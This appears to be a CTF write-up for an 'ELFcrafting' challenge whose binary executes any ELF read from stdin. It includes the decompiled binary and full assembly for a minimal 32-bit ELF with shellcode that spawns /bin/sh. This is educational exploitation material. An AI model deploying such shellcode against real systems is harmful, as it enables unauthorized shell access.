/..

#CONTENT

#TOP

chal
16 KiB2024-02-29 21:34
chal.c
1 KiB2024-02-29 21:34
Dockerfile
134 bytes2024-02-29 21:34
flag.txt
56 bytes2024-02-29 21:34
Makefile
440 bytes2024-02-29 21:34
README.mdx
3 KiB2024-08-23 05:19

#Provided Files

#chal decompilation

int32_t main(int32_t argc, char** argv, char** envp)
    int32_t var_7c = argc
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    setbuf(fp: stdout, buf: nullptr)
    setbuf(fp: stderr, buf: nullptr)
    puts(str: "I'm sure you all enjoy doing she…")
    puts(str: "But have you ever tried ELF golf…")
    puts(str: "Have fun!")
    int32_t var_6c
    __builtin_strncpy(dest: var_6c, src: "\x7fELF", n: 4)
    int32_t rax_1 = memfd_create("golf", 0)
    if (rax_1 s< 0) {
        perror(s: "failed to execute fd = memfd_cre…")
        exit(status: 1)
        noreturn
    }
    void var_68
    int32_t rax_2 = read(fd: 0, buf: &var_68, nbytes: 0x4f)
    if (rax_2 s< 0) {
        perror(s: "failed to execute ok = read(0, b…")
        exit(status: 1)
        noreturn
    }
    printf(format: "read %d bytes from stdin\n", zx.q(rax_2))
    if (memcmp(&var_6c, &var_68, 4) != 0) {
        puts(str: "not an ELF file :/")
        exit(status: 1)
        noreturn
    }
    int32_t rax_8 = write(fd: rax_1, buf: &var_68, nbytes: sx.q(rax_2))
    if (rax_8 s< 0) {
        perror(s: "failed to execute ok = write(fd,…")
        exit(status: 1)
        noreturn
    }
    printf(format: "wrote %d bytes to file\n", zx.q(rax_8))
    if (fexecve(fd: rax_1, argv, envp) s< 0) {
        perror(s: "failed to execute fexecve(fd, ar…")
        exit(status: 1)
        noreturn
    }
    *(fsbase + 0x28)
    if (rax == *(fsbase + 0x28)) {
        return 0
    }
    __stack_chk_fail()
    noreturn

#Intended

This challenge uses the same setup as ELFcrafting-v1, except it only allows a maximum of 79 bytes instead of 32. The smallest possible 64 bit binary is 80 bytes, and it should be impossible to go lower unless binfmt.c changes and becomes more permissive. This time the remote actually verifies the ELF signature, so no more shebangs. However the remote does not verify that the binary is actually a 64 bit binary. 32 bit binaries can be as small as 45 bytes, and gives up ample room for our own shellcode to pop a shell.

#Solution

taken from https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

		BITS 32
  
		org	0x00010000
  
		db	0x7F, "ELF"
		dd	1
		dd	0
		dd	$$
		dw	2
		dw	3
		dd	_start
		dd	_start
		dd	4
_start:	mov	al,	11
        jmp	next
		nop
		nop
		nop
		db	0
		dw	0x34
		dw	0x20
		dd	1
next:	mov	ebx,	bin_sh
        int	0x80
bin_sh:	db	"/bin/sh", 0
  
filesize	equ	$ - $$

#sidenote:

You could golf this down further by replacing the _start code with /bin/sh\x00 and relocating _start.

#sidenote:

Some people had problems with their solutions because they attempted to load their programs at an address lower than ubuntu's default vm.mmap_min_addr of 0x10000 which caused their programs to crash.

#Unintendeds

Zero unintendeds (-^-)